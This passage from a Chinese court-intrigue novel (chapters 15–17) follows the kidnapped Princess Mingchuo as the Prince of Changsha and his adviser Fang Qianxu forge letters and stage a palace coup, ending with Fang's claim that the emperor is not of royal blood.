他突然从石上下来,整了整衣袍。明绰也跟着站了起来。他的外袍从她的肩上垂下去,太长,拖进了泥地里。似有一阵风拂过,他们身边的树都被吹得哗哗作响。但这风未免吹得太久,明绰警觉地环顾一圈,发现林中不知何时多了几道黑影。
“檀越今日本想来见慈安,偏偏在山下就遇见了长公主,还真是有缘。”慧玄笑了笑,又转头看了一眼山居,叹了口气,“也罢,慈安放不下嗔心,红尘自会来寻她。”
明绰已没有心思听他说的是什么,林中走出来的人都穿着执金吾卫的金甲,在月下泛出幽暗的光,可他们看起来并不是她想要等的人。
“你们敢冒充执金吾卫!”明绰退了一步,终于感到了无助的恐惧,“你不是慧玄!你到底是什么人!”
“檀越在佛门中的时候确实是法号慧玄。”他笑了笑,轻轻地一摆手,示意那些假执金吾卫上前,把明绰团团围住。
“不过你太父早就迫我还俗蓄发,还给我取了一个俗家名字,也许长公主听说过……”那个白瓷一样的男人站在月光下,轻轻摸过了自己的满头青丝,“在下方千绪。”
明绰僵在那里,干脆扬起了下巴,怒目而视。她跑不了,但她至少还有公主的尊严。
方千绪又露出了赞许的目光,似是明白了她这一个小小的动作里所有的心思,于是彬彬有礼地躬了身,给足她公主的体面。
“东乡公主,长沙王有请。”
15.第 15 章
萧盈刚起身就听见人来报,出大事了。
昨日里瓦官寺进宫来做一场法事,居然把准皇后和东乡公主都给拐跑了。梁女史不知道怎么想的,不追去瓦官寺,却疑心是御史中丞家里藏了人。
王诃的夫人姓崔,正是执金吾卫中尉崔挺的亲姐姐。本来就听说女儿在宫中生了病,既没有确切的消息,又接不回来人,正满怀的邪火没地撒,竟跟梁女史犯起冲来,结果身边两个女婢被梁女史下令抽了好几鞭子,惩戒王家冒犯太后威严。
崔夫人将门之女,哪里受得了这个气,立刻把王诃的叔伯兄弟都召来,又去娘家请来八十多岁的祖父联合上书,直接递到了陛下御前,也不管天子有没有这个权力把太后怎么着,总之得先告一状。
萧盈莫名其妙地看着眼前这封上书,只问:“那公主呢!”
来递上书的被问得愁眉苦脸,根本说不出个所以然来,只知道建康都乱成一锅粥了。
昨天崔夫人把王家全族都召起来那么一哭,她的公公,太后的舅父,持着剑就闯进了太尉府,站在谢郯门前扬着嗓子骂。王家把好好的女儿送进上阳宫,现在人被和尚拐跑了,太后居然还派女史来王家打杀下人,这是什么道理!谢家欺人太甚,王家也不是软柿子!谢太尉要出来跟他讲道理,他也不听,揪着谢太尉的襟口,险些真在太尉身上戳出个洞眼儿来。
中书令仓皇进宫,太后找不到公主,哪里耐烦王家的事情,只是夺了梁女史的印,命她禁足思过,就想敷衍过去。崔夫人岂肯罢休,回娘家又哭一场。太后下令执金吾卫出去找人,崔挺居然两手一摊,拒不从命,说执金吾卫乃是国之重器,是征伐平乱用的,这种找人的事情,应该找城门校尉。
太后震怒,罚了崔挺十鞭,下令左中侯带了人直接把瓦官寺围成了铁板一块。
左中侯提审了去宫中做法事的慧净、慧悟二僧。对于带走了公主和王氏女一事,二僧供认不讳,但坚称不是“拐走”。王氏女被怨魂缠身,沉疴不起,是太后让公主带王氏女去龙盘山休养,还派了执金吾卫护卫,不许相扰。
左中侯原本不信,但是慧净真的拿出了执金吾卫军侯的信物。左中侯就忍不住想了,难道崔挺抗命竟是另有深意?是知道太后只是做给王家看看的?瓦官寺里面贵人也不少,左中侯哪有崔挺的家世和人望,一时不敢得罪,便撤了军,回来先报给太后听。
太后都没听他说完就罢了他的军职。崔挺挨了鞭子还在家躺着,又被太后召进宫,直接把那枚军侯信物往他脸上砸,让他拿回去好好查,哪个军侯,领的哪道令,一天之内解释不清楚,就跟左中侯一起滚回家去!
一通雷霆发作完,太后又亲自摆驾瓦官寺。但她与慈安先前闹得狠了,放了话“永不相见”,所以硬是不肯亲自去,只让人去把慈安给她“请”下来。
慈安拒不从命。
传令的人原样又下了山,回报王氏女已在龙盘山上剃度出家,而东乡公主昨晚把人送来以后就走了——是。他顶着太后的怒火答得战战兢兢,是慈安比丘尼让公主一个人在夜里走了,公主自己说,会有执金吾卫来接……
太后险些没当场背过气去,当即让人斩了慧净、慧悟二僧,然后一迭声派人去请王家人,让他们过来自己看看“王家人做下的好事!”
其时已近三更,但是崔夫人立刻带了人上龙盘山去,仆役们手中的火把绕成了游龙,当真有盘山之势。据说崔夫人一见到王执瑈的样子,就咬牙切齿地骂谢拂霜不得好死,慈安就在一旁听着,眉目不动,好像说的根本不是她的女儿。只有崔夫人说要把王执瑈带回去的时候,慈安才说了一句,她已入佛门,俗世之人带不走她。
崔夫人爱女心切昏了头,但王家尚有清醒的人,一看就明白了是怎么回事。做小叔的苦苦相劝,今日领回家去医好了,那这婚事怎么办?王家还能退陛下的婚事吗?此番这般得罪了太后,瑈儿再进宫去,还有命吗?不如先在姑母这里避一避,等阿兄回来再做计较……一直劝到天都亮了,崔夫人才终于肯将女儿留在慈安这里,一步三回头地下了山。
就跟还嫌不够乱似的,这会儿城门校尉又来报,说长沙王带着两个儿子到建康了,请太后示下。
长沙王到了,也就意味着王诃回来了。但御史中丞也没有回来复命,太后派人去请,只听人通报,说御史中丞路上染了时疫,不能来见。
太后左思右想,估摸着事情大概已经传进了王诃的耳朵里。崔夫人此番还只是小打小闹,若是御史中丞咽不下这口气,在朝中搅动起来,才要出大事。谢家虽然不怕,但也麻烦得很。
谢拂霜只得又把崔挺召来,好言好语,请他怜惜她慈母之心,好歹王家的女儿找回来了,东乡公主还不知道在哪里……
崔挺听明白了太后的意思,也替姐姐给太后赔罪,承诺会回去跟姐姐、姐夫好好说和。执金吾卫也定不会辜负太后的期望,就算在建康城挨家挨户地去敲门,也要把东乡公主找回来。
君臣两个各自把过场走完一遍,太后也没追问那枚军侯信物是怎么回事,崔挺也没主动报,只是提了一嘴,说长沙王已到建康,但是跟着御史中丞去荆州押送的那三百名执金吾卫仍未归营。太后听完沉默了片刻,只让崔挺自己看着处理,就心烦意乱地让他退下了。
崔挺出了宫,不到两个时辰,袁煦怀里揣着那枚军侯信物,又进了含清宫。
“什么意思?”萧盈没反应过来,“谁给你的?”
“桓湛。”袁煦压低声音,两手奉上给陛下看,“说是瓦官寺里那个掉了脑袋的和尚交给左中侯的。”
萧盈一时没说什么,把那军侯信物接过来,掂在手里左右地看。这东西也是个虎符的形状,但小了两圈,也没有从中间劈开。上面也有铭文,写了独一无二的字样。执金吾卫里每有军令下达,都会配这样一块信物给领命的军侯作为凭证,根据上面的铭文字样就可以去查档,何年何月何日何时,何人所命,何人领命,一概清清楚楚,绝无作伪。复命之时,也得把这信物上交销档,才算是了结。要是不小心丢了,依军法当斩。
萧盈抬头问袁煦:“你又不是执金吾卫,桓湛为什么给你?”
袁煦跟陛下没大没小:“但陛下亲口赐了婚,我是他妹夫啊!”
萧盈明白了什么:“好个崔挺。”随即又问袁煦:“桓湛还说什么了?”
袁煦便道:“他说这道军令是上个月初七发的,奉太后之命,调了三百人给御史中丞,去荆州押送长沙王。”
一片静默。袁煦还没听说瓦官寺的那一出闹剧,只是忠实地传了桓湛的话而已,一时不明白萧盈的脸色为什么突然就变得这样难看。
“陛下?”袁煦也跟着严肃起来,“怎么了?”
萧盈手指微蜷,把这枚信物牢牢地攥在了手心,像是捏碎某个人的喉咙。
“萧,忞!”
明绰猛地吸了一口气,突然从梦中惊醒过来。有那么一会儿,她都没想起来自己在哪儿,紧张地环视了一圈,记忆才潮水般涌了回来。她想起来了,是李姬把她安顿在这里的,她还见到了长沙王,还叫了他一声五叔。但萧忞只是冷冷地看了她一眼,便去跟慧玄说话了——不对,不是慧玄,是方千绪。明绰想起来,她听见萧忞称呼方千绪为“亚父”。
“长公主醒了?”
明绰又是一惊,这才发觉方千绪就坐在房中,正低着头读一封信。这个房间所有的窗户都是封死的,糊了厚厚的一层纸,光线透进来,便像是被筛过了所有的锐利,只剩下柔和的、发着昏黄的光,让人读不清楚字。方千绪的鼻子都快要贴到那张纸上了,好不容易才看完,一时有些哭笑不得的口吻:“崔夫人这个脾气啊……”
明绰没出声,看着方千绪把崔夫人的信放到一边,自己铺开纸,磨墨,提笔便写了“吾妻”二字。
明绰想起了王执瑈盯着虚空中喊父亲的模样,背上不禁沁出一层冷汗,但她努力保持着镇定:“你仿御史中丞的字,骗得过人家夫人吗?”
“我仿子颜的字,连他自己都看不出来。”方千绪抬起头,朝明绰笑了笑,“长公主要是不信,可以看看崔夫人的回信,看她可有起疑?”
明绰犹豫片刻,总觉得他没必要让自己一个人质知道得这么多,但又实在没抵挡得住诱惑,伸手把崔夫人的信拿过来,头两眼看得犹犹豫豫的,生怕方千绪反悔,见他确实没有阻止的意思,才一口气都读完了。
崔夫人一封信写得十二分急迫,先问丈夫到底病得如何,为什么不能回家治,为何连面都见不着,然后转了一笔,说今日又回娘家去见过弟弟,但弟弟生了疑心,不肯与她说太后召他进宫做什么。小儿思念姐姐,闹着要去龙盘山。到底什么时候能把瑈儿接回来?总不能真的让瑈儿出家吧!公公整日要去找太尉理论,小叔软弱好性,惧怕谢家之势。父子两个说来说去,还是想着支持陛下早日亲政,便好送瑈儿回去那无间地狱——但她话放在这里,这婚事必得退了!王氏若有忌惮,还有崔氏撑腰,若夫君也不疼惜瑈儿,她就带着儿女回娘家去!家里很乱。盼归,盼归!
明绰把信抛下,看了一会儿方千绪的回信。他洋洋洒洒写了一大篇,好生安慰,怜夫人辛苦,叹女儿可怜,爱幼子情笃,倒是事事都有回应。
“人都死在你手里了,”明绰冷冷地说了一句,“还在这里哄骗人家夫人。”
方千绪笔尖一顿,似是被她戳了一下,但只是一瞬,又流畅地写了下去:“就是因为人已死在我手里,才要替子颜安顿好家里,方不枉与他相交二十余载。”
明绰轻轻咬牙:“无耻!”
“我并不想要子颜的命。”方千绪终于抬头看了明绰一眼,“驱他入死地的是你母后。”
明绰的声音提高了一些:“诡辩!”
方千绪笑了笑,仍旧低头写信:“所以要谢谢太后,若是换了旁的人,倒也没这么顺利。”
明绰坐在那里,感觉心里哽了一块似的。
其实当时派谁去都一样,太后觉得公主出的主意是个好由头,长沙王怎么反应都有理由动手,所以连下两道令,还拨了三百执金吾卫,其实就是想在封地把人处死。选王诃,就是因为王
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诃替长沙王说了两句话,所以母后非要磋磨他,让他亲自去下这个杀手,以敲打敲打王家试图支持天子亲政的野心。
没想到长沙王硬是从这个死局里走出了一线生机。
明绰昨夜已经在心里推演了无数遍,长沙王从荆州进建康若是带了大批人马,不可能控制得住沿途的每个驿站都不往建康传信。而路线又已早早定下报备给朝廷,若是绕开驿道,没按日子抵达特定的驿站,也会上报。
唯一的方法,就是荆州刺史邓霄用自己手下的兵替换了王诃手下的执金吾卫。三百人去,三百人回,方千绪冒充王诃,还有军侯信物作为凭证。只有这样,才有可能一路悄无声息,瞒天过海。
可是如此大费周章地混了三百人来,又有什么用呢?拿来闯宫都很勉强。更何况这三百执金吾卫回京就要归营复命,稍有延迟,崔挺就会发觉。
崔挺的位置非常关键,方千绪冒充王诃给崔夫人写信可能不是一天两天。但明绰不觉得崔挺会这么不知轻重,碾死三百人的叛军就跟碾死一只蚂蚁那么简单,出手相助却要赌上身家性命。
方千绪把信写完了,在纸上吹了口气催墨干。明绰看着他折起信纸,塞入信封,突然道:“崔挺不会因为崔夫人几句挑拨就背叛母后的。”
“哎呀,”方千绪叹了口气,“崔夫人要是有长公主一半聪明,方某可就要头痛咯。”
明绰不理会他的阴阳怪气:“你们只有三百人。”
“三百人又如何?”方千绪语气平淡,却有一股冲天而起的傲气含在眼中,“也要看是在谁手里。”
明绰半点没有被他的气势吓到:“在谁手里都没用。要想控制建康城,至少两千人。城郊大营中满编的执金吾卫大概八千,城门校尉有两千,这些都是半天之内就能集结的人马。就算你以权贵为人质,再以城墙为据守,要抵挡住这一万人……”
明绰飞快地算了算,甚至又给他让了一步:“即使你手下各个一夫当关,也得五千人才守得住建康——这还没算上驻在宿州和徐州的执金吾卫,还有……”
这小丫头倒是当真在谢郯手里学了点东西。方千绪饶有兴致地看着她,打断了她的点兵:“长公主焉知我手中没有这五千人呢?”
“不可能。”明绰说得斩钉截铁,“你从袖子里变出来的吗?”
“说对了。”方千绪作势伸进自己的袖口里,虚握成拳,然后伸到明绰面前,口中“哗”一声,一边念念有词“贫僧自有神兵天降!”简直拿她当小孩子戏耍。明绰怒目而视,嘴唇翕动,无声地骂了一个不太符合公主身份的词。
方千绪含笑:“长公主懂的还真是不少,可惜都是纸上谈兵。”
外头突然传来一阵骚乱的动静。明绰先听见了一句“亚父”,便看见萧忞走了进来,身后跟着李姬和一个满脸大胡子的武将。
“亚父,”萧忞语气急迫,“宫里来人召本王去赴宴了。”
“好,”方千绪拍了拍萧忞的肩膀,“忞儿要记得,你就是天命所归!”
明绰仔细地看了萧忞几眼,方千绪的话好像有一种奇异的魔力,让他从眼睛深处亮起来。景平七年他离开建康时方及弱冠,脸上还没有这么多的棱角。如今站在明绰眼前的男人宽肩窄腰,雄武挺拔,和她记忆里那个唯唯诺诺的小叔叔已经判若两人。
明绰一颗心突然狠狠往下一坠,重臣赴宴,看到这样的长沙王站在病弱苍白、尚未长成的陛下身边,会作何感想?
方千绪抖了抖袖袍,把他刚才伪造的王诃手书交给了那武将。李姬上前一步,替萧忞正了正冠,轻声道:“我等着我儿凯旋。”
萧忞点了点头,终于转过脸来看定了明绰,眼里闪着某种光,好像她是挂在钩上的一块肥饵。
明绰在一瞬间就打定了主意,整个人往前一扑,一下子抽出了萧忞腰间的佩剑。房中的人都惊呼了一声,萧忞也动作飞快地往后退。但明绰没想刺杀长沙王,她知道自己只有一瞬间的机会,横剑就往自己的脖子上抹去。
方千绪的手伸出来,想也没想就抓住了剑刃。明绰用尽力气,但他只是手上一甩,硬是握着剑刃把剑抢了过来。那武将上前一步,抓小鸡仔似的,一只手就把明绰制得动弹不得。
方千绪把剑扔在脚下,低头看了一眼掌心被割出来的血痕。
明绰激烈挣扎:“别想拿我要挟母后,我死也不会让你们得逞的!”
方千绪突然伸出手捏住了她的下巴,他掌心还有温热的血汩汩地流淌,明绰嫌恶地想要把脸别开,又被他强硬地捏着下巴,逼迫她看向自己。一直到这一刻为止,方千绪对她都还温和有礼,甚至还挺欣赏她,所以明绰也不怕他。但是这一刻,方千绪居高临下地看着她,眼里的东西却让明绰感到一股寒意直从脊梁骨蹿上来,不挣扎了。
她安静下来,方千绪便松开了她的下巴,抬手用袖口替她擦去了下巴上沾上的血。
“将军,莫对长公主不敬。”方千绪示意那人放开明绰,轻轻俯身,与她平视,又变回了那个温和的大人,“走吧,我们送你回去见你母后。”
16.第 16 章
龙盘山居,清晨,云蒸霞蔚。
慈安出门来浇菜的时候,发现谢聿正无声地独自立在门外。地上放着一盏已经熄灭的灯,显然是天还没亮就开始爬山了。山上露重,连他发间都被浸得半湿。见到母亲出来,他也没有开口唤一声,母子两个只是对望了片刻,然后慈安无声地转身,唯一知道儿子来了的表示也就是没有关门。
这个反应已经算得上是欢迎了。谢聿抖了抖身上的氅,举步踏进了慈安的山居。里面极其清简,只有供着佛龛的高案尚算华丽。谢聿拈了香,先在佛前三拜,这才转头坐在了母亲面前。
“母亲,”谢聿颔首为礼,“王氏女如何了?”
慈安的声音有几分粗哑,硬邦邦的:“死不了。”
谢聿又问:“明绰到底去了哪儿?”
慈安还是只有几个字:“不知道。”
谢聿的声音带了两分责备:“母亲!”
慈安抬眼看他:“太后让你来的?”
谢聿没答,这种事情显而易见,他非要说什么思念母亲、关心母亲之类的话,只会让慈安发怒。
慈安垂眸倒茶:“太后有什么话可以亲自来问我。她年纪轻轻,是爬不动这山道了吗?”
谢聿从唇缝里挤出来一句:“那也得母亲肯见。”
“说得对。”慈安不以为忤,把茶盏推到他面前,“她来了我也不会见。”
“但此事关乎明绰,母亲……”
“天下不是只有明绰有娘疼。”慈安冷冷地打断他,“瑈儿也有娘疼。太后下手的时候怎么没有想过人家的娘也会心痛?”
“是啊,都有娘疼。”谢聿没忍住,“唯独我和拂霜没有娘疼!”
慈安什么都没说。谢聿平复了一下,端杯饮茶。类似这样的话,他们母子之间已经说过不知道多少次,再反复也只是徒费功夫。今日宫中还要宴请长沙王,他的时间不多。
“母亲,儿子只是想知道公主在哪里,问完就走,不打扰母亲清修。”
慈安轻轻皱起眉头,似是困惑谢聿为什么一副她把公主藏起来了的样子。她自问并未故意隐瞒什么,谢拂霜已经调了一批人,一日一夜间几乎把整个龙盘山都翻了一遍。
但江南丘陵不甚高险,龙盘山也无深峡老洞,找不到人就是找不到,谢拂霜这才无可奈何,只好再遣兄长来问是否有别的线索。
谢聿也皱着眉看着慈安。其实母子两个生得很像,王老妪走出来奉茶点,见母子二人这般对峙着,倒像是在看镜子一般。但那气氛绷得吓人,王老妪一时都没敢出声,只好小心翼翼地放下茶点。
最后还是谢聿先断开了和母亲的视线对峙,轻叹了一声:“母亲到底还要跟拂霜置气到什么时候?”
慈安并不理会,反倒招呼王老妪:“不必招待了,送客吧。”
谢聿不动,只道:“我已娶了庾家的女儿,这么多年了,有多少债也已经还清了,为了庾郎,母亲要连一个无辜的孩子都一起迁怒吗?”
慈安猛地抬眼,脸上终于露出了一丝属于红尘世内人的情绪。好像儿子不是说了一句话,而是在她胸口猛地捅了一刀。
当年王家许给谢郯的其实是慈安的亲姐姐,而她定下的婚事是青梅竹马的庾家儿郎。但是她的姐姐突然病逝,王家只好把她送进了谢家的门。就是为了这桩遗憾,她一心想让女儿和庾家结亲。可惜庾家虽有祖荫,子孙却无能,在朝中并无建树,眼看着一代不如一代。谢郯势利,心里看不上,谢拂霜也有样学样,一心要做皇后。当年怀帝的皇后本来定的是楚氏女,谢拂霜故意惊了楚氏女的马,害她跌断了腿,落下了终身的跛疾。
就是从那个时候起,她们母女之间便再没一句好言好语。
谢拂霜恨她放不下和庾郎的情意,如此自私地一定要自己搭上终身。慈安则是恨女儿和谢郯简直一个模子里刻出来,甚至比儿子还更像父亲的作风行事。等到谢拂霜封后,谢郯独揽朝中大权之时,她已经恨极了谢氏一门,恨他们所有人的不择手段,薄情寡义,更恨他们的势利贪权,恨到只能躲进佛堂,以求一息安宁。可她越要避开,谢郯便越认定她是放不下庾郎。最后因她执意出家,谢郯还让谢聿娶了庾家的女儿,作出一副都是为了她的姿态,谢聿心中百般不愿意,也只能忍下。这么多年,谢聿和庾夫人感情始终淡淡的,膝下只有一女。
儿子现在说这样的话,慈安便知道,其实他也是在心里责怪她。
慈安冷笑了一声:“中书令不必来老尼这里啰嗦,冤有头债有主,太后寻不着女儿,自是她造孽太多,菩萨降下的报应。”
“这叫什么话!”谢聿急了,“这还是为娘的说得出来的话吗!”
“你有的来这里教老尼如何为人母,不如回去劝劝太尉如何为人父。”慈安眉目不动,词句如刀,“当年他把慧玄带回太尉府的时候——”
只听“当”一声,王老妪似是骇了一跳,手中的茶具一下子跌到了地上。谢聿紧紧攥住母亲的手,同时几乎是哀求似的叫了一声:“阿娘!”
慈安便不说了,看着儿子,嘴角的冷笑渐渐变了滋味,说不清的悲意。其实儿子心里也很清楚到底发生了什么,整个太尉府都知道。谢郯当年何曾顾及过她的颜面?可是他们谁也不会去说谢郯的不是,只是心安理得地责怪她的出走是因为放不下庾郎。
其实她连庾郎什么样子都不记得了,倒是慧玄那张脸,那张她曾以为出尘如优昙花的脸,最后成为了丈夫给她带来的最刻骨铭心的耻辱。
谢聿站起来,看起来已经平复了心绪:“儿子说错话了,这就走,母亲消消气,别气坏了身子。”
慈安扭过脸去,不愿理他。谢聿朝她躬身行了一礼,她也避而未受。
谢聿无可奈何,只好走出去,王老妪见他要走,又急忙出来相送。出了门,又送上山路,踌躇了半晌,才张嘴唤了一声:“中书令。”
谢聿停下来:“老妈妈请说。”
“老奴听慈安比丘尼说起慧玄与太尉——哦,老奴没有别的意思!”她见谢聿皱了眉,慌忙摆手,“只是前夜里长公主和老奴送我家小姐上山,遇到了一个好心的居士,便是自称慧玄的。”
谢聿一下子变了脸色:“什么?”
“长公主离开前叮嘱了老奴,怕太后追究,老奴就没敢提起。”王老妪一脸为难,“但若是这慧玄与太尉府有旧,长公主又下落不明,是不是……”
谢聿没听她说完,只低声念了句“不好”,甚至来不及与王老妪说上一句话,转头就沿着山道跑了下去。清晨的雾气仍未散,被他的袖袍搅动,惊破一片世外的宁静。
等到山雾重新凝聚时,谢聿已不见了踪影。
中书令的车马一路疾驰过建康的长街,过司马门,入宫禁,直谒太极殿。太极殿正摆下宫宴,为长沙王接风。
照理说,藩王无事入京,多半没有好事,宫宴也有点鸿门宴的意思。萧氏宗亲本来就没剩几个,不是外放封地就是已经死绝。留在建康的都是往前数几代的公主们下嫁过的外姓宗室,他们也都心里犯怵,本是不想来的,但太后并未食言,已下了旨,给长沙王送来的两个儿子都封了侯,还依着陛下的字辈,给两个侯爷都改了名字,长子改作萧盛,次子改作萧益。
太后场面上的功夫做足了,宗室们也没有退避的理由。来太极殿一瞧,发现今日连陛下都来了,太后的座次甚至还在天子之下。
太极殿里各归其位,内贵人这才传天子旨意,宣长沙王。
长沙王自殿外现身,不解剑,不脱履,抬腿就要上殿。
殿上所有人都同时变了脸色。在场的还有桓大将军,他母亲是萧氏的公主,祖父立下开国之功,方得天子恩准“入朝不趋,剑履上殿”,可是桓公到死都未敢如此行事。
桓殷立刻站起来,朝萧忞大喝一声:“长沙王还不解剑!”
萧忞手搭剑柄,斜睨了桓殷一眼,神色倨傲,竟不作答,还是往殿上走。桓殷正要再喝,只见萧忞身后又多出来两个人影,本该是他两个儿子,但殿上所有人定睛一看,只见一人作白衣文士装扮,另一人身量不足,着淡绯色襦裙,是个寻常女儿家的打扮。
她一露面,太后就倒吸一口冷气,摁着案角站了起来。
殿上大多数人也都认出了东乡公主,但无人敢窃窃私语,连桓大将军都收了声,犹疑不定地看看太后,又看看太尉。
谢郯却好像没看见明绰,一双眼睛只瞪着那白衣文士,好像要在他脸上烧出两个洞。
谢拂霜咽下一口气,强迫自己重新坐下:“长沙王不必解剑,上殿吧!”
萧忞一笑,手从剑柄上放下,也不朝天子行礼,大摇大摆地走了进来。明绰看准机会就想往跑,但是萧忞手一伸便扣住了她。当着太后和宗亲的面,硬是拽着她坐到了自己身边。明绰狠狠挣了两下也没挣开,似是被萧忞捏疼了手腕,没忍住发出痛声。谢拂霜整个身子都往前倾,像一头准备扑食的母狮子。
“东乡顽劣,本宫也是心急如焚。”谢拂霜牙关都要咬碎,却仍故作平静地与萧忞周旋,“多谢长沙王把她送回来。今日宫宴人多,她这般成何体统?要不还是让东乡下去梳洗一番……”
“不必了!”萧忞打断她的话,“本王是看着东乡长大的,多年不见,想念得紧。今天来的都是自家人,就让东乡陪本王喝两杯又如何?”
明绰还在挣扎,长沙王随她又踢又闹,好像铜皮铁骨,不知痛痒。明绰感觉自己的手腕都要被他捏碎了也挣脱不开,只好扬起嗓子大叫:“母后!他要造反——”然而话音未落,长沙王反手就是一巴掌,只听“啪”一声脆响,打得明绰整个人都失去了平衡,要往边上倒,却又被长沙王狠狠地拽回来。整个人像是被拆散架了,只觉得耳朵里嗡嗡作响,登时叫不出声音了。
谢拂霜目眦欲裂,还未来得及说话,谢郯已冷哼一声,只道:“放肆!”伸手便去抓眼前的杯子。
桓殷看他动作就感到不对劲,立刻警觉地转身,隐约好像是看见偏殿窗上有层层人影一闪而过。谢郯没有被女儿喝住的意思,手中的杯子应声摔
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在地上。
众人都被瓷器碎裂之声惊得心头一跳,然而什么都没有发生。
萧忞只道:“果然是鸿门宴呐!”一边说一边横剑在手,架到明绰的脖子上。宝剑锋利,轻轻一碰便已划破了明绰颈边的皮肤。
“何来鸿门宴!”谢拂霜急得上前一步,“还不放开公主!”
谢郯明白了什么,脸色煞白地瞪了谢聿一眼。谢聿心虚地避开目光不敢与他对视。今日宫宴遍布刀斧手,都是太尉府的人,但他摔杯无人应,显然是太后宴前得知公主在长沙王手里,临时撤了刀斧手。
谢郯一时气急交加。宴前他们才刚大吵了一架,王执瑈剃度出家,后位空悬,谢郯一番筹谋尽付东流不说,王家还不肯罢休,都是谢拂霜不肯容人之故。但他此时再要教训,谢拂霜哪里还听得进去,反而气他完全不在意明绰的失踪。若非父女有龃龉在先,他已经部署好的事,谢拂霜是从来不敢这样拆台的。
谢郯顾不得许多,竟在人前叫了太后的闺名:“拂霜!”
谢拂霜闭了闭眼,下定决心不理会他,只看着萧忞:“放了公主,本宫可以不计较你殿前失仪。”
萧忞冷笑一声:“谢拂霜,本王若信你的鬼话,早把性命丢在封地了。”
明绰整个人都被萧忞提溜着,得踮着脚才能把脖子架得离剑高一点点。方才自己挥剑抹脖子的那股气性已经是消散得一干二净,也不知道他们这互相放狠话到底还有什么意义。
“去取太后的虎符!”谢郯断喝一声,“长沙王谋逆之罪昭昭,还不调执金吾卫入宫来!”
谢拂霜身边的宫人下意识就要去,却被太后猛地提高了嗓音制止:“谁敢!”
谢郯怒视着女儿,不敢相信她会在这么大的事情上昏了头。宗亲们都愣在那里,这长沙王谋逆还没怎么着呢,他们父女两个倒是吵起来了。桓殷不耐烦地“哎呀”了一声,只道:“太后不调兵,臣去调兵!”
明绰恨不得给他叫好:“大将军快去!他们只有——”
但是她还没说完,萧忞的手臂铁铸的一般,突然收紧,把她胸腹间所有的气都挤出去了似的,明绰的脸一下通红,险些被他掐死。
“大将军且慢。”那白衣文士突然叫住桓殷。
桓殷回过头看了他两眼:“你是何人?”
“无名小卒。”他微微颔首,“只是大将军对大雍忠心耿耿,有几句话,不妨听完了再忙调兵不迟,免得受了蒙骗,铸下对不起萧氏先祖的大错。”
谢郯猛然打断他:“桓兄莫听他胡言乱语!快去快去!”
萧忞也勒紧明绰,谢拂霜还是忧心女儿,急得又制止:“桓殷不许轻举妄动!你放开公主,本宫可以赦你无罪!”
“我……”桓殷让他们父女喝得脑门都冒出一层汗,又被白衣文士的话震住,一时进退两难。
“桓氏世代忠良,大将军是安阳公主之子,本朝的辅政大臣也该有大将军一席之地,何故俯首听谢氏调遣?”白衣文士突然提高声音,几乎有些咄咄逼人,“若太后犯下弥天大罪,太尉又急于杀人灭口,长沙王有冤难诉,当然只有找大将军主持公道了。”
桓殷莫名其妙地看了一眼萧忞:“长沙王有何冤屈?”
“本王是替萧氏伸冤!”萧忞终于把剑从明绰脖子上挪开,换了个方向,直指谢拂霜,“南山石上栽梧桐,不见鸾鸣见雀踪!”
他起了个头桓殷便知道他要说什么了。但这样的理由已不新鲜,怀帝的兄弟们个个都是这一套词。桓殷不耐烦地一挥袖,只道:“诛心之论!若无证据……”
“有证据,”白衣文士打断他,“大将军,在下就是证据。”
谢郯突然开了口:“千绪。”
他垂着头,声音很低,就连站得离他最近的谢聿都险些以为是错觉。可是方千绪顿了顿,似是千真万确地听见了这一声唤。十五年了,这是谢郯对他说的第一句话。是哀求,还是威胁?
方千绪只当没有听见,继续往下说:“十五年前,先帝崩逝,谢后临盆,只产下一女。谢郯为揽私权,命我从民间寻得一男婴,冒充皇家血脉……”
明绰只觉得自己浑身的血都突然僵住了。所有人都抬起头,随着方千绪的话,看向了那个始终沉默的至尊之位。萧盈的脸隐在垂下的玉藻后,看不清神情,但他一动都没有动,像一尊泥雕的神像,一具受人跪拜的傀儡。明绰下意识地看向了谢拂霜,发现母后也在看她。
“母后……”明绰无声地摇了摇头,想问她,这不是真的,对不对?可是她说不出话。
谢拂霜突然下令:“拿下他。”
太后一声令下,殿中门窗立刻被破开,方才桓殷见到的偏殿人影都现出了身形。然而他们刚往前数步,手中的刀斧还没有来得及靠近方千绪,只听几声“嗖嗖”的利箭破空之声,十来个刀斧手应声倒地,背后插的羽箭还在兀自发颤。宗亲们惊声不断,连大将军都骇得退了一步。刀斧手们被近距离射杀,说明整座太极殿已经被围住了。
殿外杀声忽起。
17.第 17 章
建康承平日久,怀帝的兄弟们造反,最近的也就是打到了宿州。所以这些个权贵宗亲们都不记得谋逆宫变是个什么情形了,听见杀声起来,年轻一些的都吓哭了。也就是桓殷还有些泰山崩于前而色不改的气度,不惧流矢之险,走到殿门口往外看了一眼。
唯见金甲如云。
方千绪看定谢郯,轻轻勾起了唇角:“太尉,执金吾卫到了。”
桓殷难以相信:“执金吾卫怎么会在你们手里?”
方千绪转过头:“长沙王天命所归,崔挺迷途知返,知道该效忠谁。”
三百人连闯宫都很勉强的。明绰突然想起来,她跟方千绪说的时候,方千绪笑她,纸上谈兵。
寻常的宫城校尉着黑甲,不会轻易与执金吾卫起冲突。这群人突然冲进来,刀箭武器备齐,宫城校尉甚至来不及反应,已被切瓜砍菜般地清理干净。
三百人是不多,但是他们只要混进来,守住太极殿和太极殿里的权贵,就已经赢了。而更可怕的是,听起来外面根本就不止三百人。
是那封信。明绰死死地盯着地上的尸体,感到自己的身体一动也不能动,脑子却比任何时候都转得快。她突然想明白了,方千绪把那封伪造的信交给了那个武将,他一定是邓霄。邓霄会带着王诃的手书去见崔挺,那么在崔挺看来,荆州已叛,大军或已在路上,宗亲权贵都已经陷在太极殿,而王诃倒向了长沙王,他的亲姐姐崔夫人也是同谋。
崔挺要忠,便要千难万选里救出太后和陛下,即使成功,面对的也很有可能是天子对于王诃夫妇的清算连坐。更何况,方千绪在殿上讲的故事,邓霄也一定会讲给崔挺听。
这同样是一个再容易不过的选择。
桓殷突然上前一步:“太后,此人所言当真?”
谢拂霜转头断喝:“桓殷!你也要跟着长沙王谋反不成!”
“桓氏绝不出逆贼。”桓殷目光灼灼地盯着太后,“臣只是想知道,陛下——”他的手伸出来,指向萧盈,“是不是先帝的骨肉。”
“大将军家里没个儿子孙子的吗?”方千绪幽幽地开了口,“咱们算一算,东乡公主还没满十五吧?瞧瞧她的身量——”
他不怎么尊敬地伸手比划了一下明绰的身高,手停在自己的胸口,然后又看了看萧盈,手便一路往上,几乎比划到了自己眉间。
“若真是一母同胞的双生子,没道理陛下高出来这么多?”
